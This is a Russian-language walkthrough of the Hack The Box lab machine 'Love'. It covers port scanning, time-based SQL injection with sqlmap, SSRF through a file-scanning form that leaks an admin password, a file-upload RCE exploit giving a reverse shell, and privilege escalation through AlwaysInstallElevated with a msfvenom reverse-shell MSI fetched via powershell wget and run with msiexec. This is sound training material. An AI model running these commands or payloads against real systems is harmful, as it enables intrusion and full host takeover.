Взлом веб-сервера на Windows и Apache через SSRF

Взлом веб-сервера на Windows и Apache через SSRF

Сегодня мы поговорим о взломе сервера на Windows и Apache через SSRF.  Это одно из многочисленных заданий хакерской площадки Hack The Box, которое называется Love.

Еще по теме:

Взлом веб-сервера на Windows и Apache через SSRF

Ад­рес машины — 10.10.10.239, добавим его в /etc/hosts.

10.10.10.239    love.htb

И проска­ниру­ем пор­ты.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Ре­зуль­тат работы скрип­та
Ре­зуль­тат работы скрип­та

Сканирование выявило много откры­тых пор­тов и работа­ющих на них служб:

  • пор­ты 80, 5000 — веб‑сер­вер Apache 2.4.46;
  • порт 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC);
  • порт 139 — служ­ба имен NetBIOS;
  • порт 443 — веб‑сер­вер Apache 2.4.46 + OpenSSL 1.1.1j;
  • порт 445 — служ­ба SMB;
  • порт 3306 — СУБД MySQL;
  • порт 5040 — неиз­вес­тно;
  • пор­ты 5985, 5986 — служ­ба уда­лен­ного управле­ния Windows (WinRM).

Для начала про­верим, что нам может предложить SMB (коман­да smbmap -H love.htb), но для ано­нимного пользователя нет ничего дос­тупного. Теперь перек­лючимся на веб. Во время ска­ниро­вании пор­та 443 получена информа­цию из сер­тифика­та, что говорит еще об одном сай­те — staging.love.htb. Данный домен тоже добав­ляем в /etc/hosts.

10.10.10.239 staging.htb

Хорошенько изучаем оба сай­та в поис­ках точек для вхо­да, имен поль­зовате­лей и дру­гих важных данных. Love.htb встре­чает нас фор­мой авто­риза­ции, но мы знаем, что исполь­зуется тех­нология — Voting System.

Aвто­риза­ция love.htb
Aвто­риза­ция love.htb

Точка входа

Voting System — это простая система голосования на PHP. Думаю для можно найти готовые экс­пло­иты. Запус­каем searchsploit из Kali Linux и находим сра­зу нес­коль­ко.

Ищем экс­пло­иты с помощью searchsploit
Ищем экс­пло­иты с помощью searchsploit

Нас инте­ресу­ют четыре пос­ледних экс­пло­ита:

  1. пер­вый экс­плу­ати­рует SQL-инъ­екцию для обхо­да авто­риза­ции;
  2. вто­рой даст уда­лен­ное выпол­нение кода через заг­рузку фай­лов, одна­ко мы дол­жны бать авто­ризо­ваны в сис­теме;
  3. пред­послед­ний экс­пло­ит даст уда­лен­ное выпол­нение кода без авто­риза­ции;
  4. пос­ледний — Time based SQL-инъ­екция, тоже без авто­риза­ции.

Сна­чала сто­ит поп­робовать экс­пло­иты, для которых не нуж­на авто­риза­ция. Наибо­лее опас­ный — RCE. Как ска­зано в опи­сании, мы можем выпол­нить заг­рузку фай­ла через /admin/candidates_add.php без авто­риза­ции и обра­тить­ся к фай­лу в дирек­тории images, вот толь­ко этот экс­пло­ит не отра­ботал.

Зап­рос для заг­рузки фай­ла
Зап­рос для заг­рузки фай­ла
Зап­рос к заг­ружен­ному фай­лу
Зап­рос к заг­ружен­ному фай­лу

Ва­риант с обхо­дом аутен­тифика­ции тоже не работа­ет, а вот вари­ант с Time Based SQL-инъ­екци­ей ока­зал­ся рабочим. Сох­раня­ем зап­рос при авто­риза­ции в файл (в моем слу­чае req.r) и переда­ем его в sqlmap, как ска­зано в опи­сании к экс­пло­иту.

Взлом сервера Windows Apache. Зап­рос при авто­риза­ции
Зап­рос при авто­риза­ции
sqlmap --dbms=mysql --batch --level=1 --risk=3 -r req.r -p voter
Взлом сервера Windows Apache через SSRF. Вывод sqlmap
Вывод sqlmap

Да­лее потихонь­ку вытас­кива­ем таб­лицы с помощью того же sqlmap:

sqlmap --level=1 --risk=3 -r req.r --tables

Но пос­коль­ку это Time Based SQLi, это будет очень дол­го, так что во вре­мя работы sqlmap можем тес­тировать дру­гой сайт. На http://staging.love.htb на стра­нице Demo есть сер­вис ана­лиза фай­лов.

Фор­ма ана­лиза фай­лов
Фор­ма ана­лиза фай­лов

Для про­вер­ки сер­виса откро­ем лис­тенер и ука­жем в фор­ме свой IP. И сра­зу получим отстук.

Взлом сервера Windows. От­стук на локаль­ный сер­вер
От­стук на локаль­ный сер­вер

В таких сер­висах сто­ит про­верять наличие уяз­вимос­ти SSRF. SSRF — это ата­ка на сер­вер, в резуль­тате которой зло­умыш­ленник получа­ет воз­можность отправ­лять зап­росы от име­ни ском­про­мети­рован­ного хос­та. SSRF может исполь­зовать­ся в DoS-кам­пани­ях для мас­киров­ки реаль­ного источни­ка ата­ки. Таким обра­зом, уяз­вимый хост выс­тупа­ет в качес­тве прок­си‑сер­вера. Для тес­та SSRF ука­зыва­ем адрес 127.0.0.1 и получа­ем зна­комую фор­му авто­риза­ции.

Тес­тирова­ние сер­виса на наличие уяз­вимос­ти SSRF
Тес­тирова­ние сер­виса на наличие уяз­вимос­ти SSRF

Есть SSRF! Но чем она нам может помочь? К при­меру, мы можем прос­каниро­вать пор­ты, дос­тупные для localhost, а так­же прос­матри­вать сер­висы, работа­ющие по HTTP. При ска­ниро­вании пор­тов мы получи­ли ответ Forbidden от сер­виса, за который отве­чает порт 5000. Взгля­нем на него еще раз, исполь­зуя наш «прок­си».

Прос­мотр сер­виса на пор­те 5000
Прос­мотр сер­виса на пор­те 5000

Мы попали на какой‑то сер­вис, где можем под­смот­реть пароль адми­нис­тра­тора, а затем авто­ризо­вать­ся на http://love.htb/admin/.

Па­нель адми­нис­тра­тора Voting System
Па­нель адми­нис­тра­тора Voting System

Точка опоры

Так как у нас появи­лись учет­ные дан­ные, оста­лось про­верить пос­ледний экс­пло­ит, который даст уда­лен­ное выпол­нение кода через заг­рузку фай­ла. Но перед запус­ком взгля­нем на ис­ходный код экс­пло­ита.

Ис­ходный код экс­пло­ита
Ис­ходный код экс­пло­ита

Экс­пло­ит дол­жен выз­вать кон­нект на ука­зан­ный адрес (локаль­ный IP) и порт. Но сна­чала необ­ходимо соз­дать лис­тенер, который будет при­нимать дан­ное соеди­нение. Я в таких слу­чаях исполь­зую rlwrap — удоб­ную обо­лоч­ку с исто­рией команд. В качес­тве лис­тенера возь­мем извес­тный netcat.

apt install rlwrap
rlwrap nc -lvp [port]

За­тем нуж­но ука­зать адрес и порт лис­тенера в стро­ках 15 и 16 кода, адрес ата­куемо­го хос­та в стро­ке 12, а так­же логин и пароль поль­зовате­ля — в стро­ках 13 и 14. Обра­ти вни­мание на URL в стро­ках 19–22. В нашем слу­чае на сай­те отсутс­тву­ет каталог votesystem, поэто­му и в коде его нуж­но уда­лить. Ниже при­веден изме­нен­ный код экс­пло­ита.

Из­менен­ный код экс­пло­ита
Из­менен­ный код экс­пло­ита

И пос­ле выпол­нения получа­ем бэк­коннект.

Вы­пол­нение экс­пло­ита
Вы­пол­нение экс­пло­ита
Взломать сервер Windows Apache. Флаг поль­зовате­ля
Флаг поль­зовате­ля

Локальное повышение привилегий

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Источни­ков информа­ции очень мно­го, и в таких слу­чаях при­гож­дают­ся скрип­ты PEASS, которые про­веря­ют их все на авто­мате. Заг­рузим на локаль­ный хост скрипт для Windows.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью python прос­той веб‑сер­вер. Пос­ле выпол­нения дан­ной коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

А теперь с помощью того же powershell wget на целевой машине заг­рузим скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо выпол­нить скрипт.

powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\Windows\Temp\wpeas.exe
C:\Windows\Temp\wpeas.exe

В выводе WinPEAS мож­но обра­тить вни­мание на нас­трой­ку UAC, исто­рию команд PowerShell, а глав­ное — это уста­нов­ленная опция AlwaysInstallElevated.

Взломать сервер Windows Apache. UAC Status
UAC Status
Взломать веб-сервер Windows Apache. PowerShell Settings
PowerShell Settings
Checking AlwaysInstallElevated
Checking AlwaysInstallElevated

Эта опция ука­зыва­ет, что любой файл MSI дол­жен уста­нав­ливать­ся с повышен­ными при­виле­гиями (NT AUTHORITY\SYSTEM). Соот­ветс­твен­но, соз­дав и заг­рузив такой файл, мож­но выпол­нять дей­ствия от име­ни сис­темы даже неп­ривиле­гиро­ван­ному поль­зовате­лю. Давай соз­дадим файл MSI с реверс‑шелом, в этом может помочь Metasploit Framework, а имен­но модуль msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o r.msi
Ге­нери­рова­ние наг­рузки
Ге­нери­рова­ние наг­рузки

Те­перь запус­тим уни­вер­саль­ный лис­тенер в Metasploit. За это отве­чает модуль handler, которо­му тре­бует­ся знать тип наг­рузки, а так­же локаль­ные адрес и порт, где нуж­но при­нимать соеди­нение.

handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321
Соз­дание лис­тенера
Соз­дание лис­тенера

Заг­ружа­ем файл .msi тем же спо­собом, что и WinPEAS, а затем запус­каем. Спус­тя нес­коль­ко секунд получим новую сес­сию Metasploit.

powershell wget http://[ip_локального_хоста]:8000/r.msi -O C:\Windows\Temp\r.msi
msiexec /quiet /qn /i C:\Windows\Temp\r.msi
Захват веб-сервера. Флаг рута
Захват веб-сервера. Флаг рута

Мы зах­ватили машину и име­ем над ней пол­ный кон­троль.

Заключение

На примере Love HTB мы рассмотрели под­делкu сер­верных зап­росов (SSRF), которая может здорово помочь во время ком­про­мета­ции хос­та. Мы также изу­чили проверенный временем способ повыше­ния при­виле­гий через опцию AlwaysInstallElevated. Надеюсь вам понравилось )!

Еще по теме:

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *